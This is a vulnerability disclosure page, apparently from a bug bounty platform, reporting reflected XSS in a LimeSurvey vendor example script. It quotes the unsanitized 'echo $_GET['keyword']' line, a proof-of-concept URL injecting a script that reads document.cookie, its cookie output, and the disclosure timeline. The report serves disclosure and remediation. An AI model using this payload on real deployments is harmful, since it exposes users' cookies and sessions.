Reflected XSS in LimeSurvey in limesurvey/limesurvey
Valid
Reported on
Mar 28th 2023
Description
There is a XSS in Lime Survey. The $_GET['keyword'] is not sanitized :
echo $_GET['keyword'];
Proof of Concept
We can read cookie contents : http://localhost/limesurvey/vendor/khaled.alshamaa/ar-php/examples/ar_query.php?keyword=%3Cscript%3Ealert(document.cookie)%3C/script%3E&submit=%D8%A8%D8%AD%D8%AB+%28Go%29&mode=0
Output:
csrftoken=Aj9xpc4O3p8Se553QLJNlhsFTUgJ3cCp; mode=light
Impact
With XSS, the attacker can read cookies and send requests ...
We are processing your report and will contact the
limesurvey
team within 24 hours.
2 months ago
We have contacted a member of the
limesurvey
team and are waiting to hear back
2 months ago
The researcher has received a minor penalty to their credibility for miscalculating the severity: -1
The researcher's credibility has increased: +7
The fix bounty has been dropped
This vulnerability will not receive a CVE
This vulnerability is scheduled to go public on
Apr 3rd 2023
to join this conversation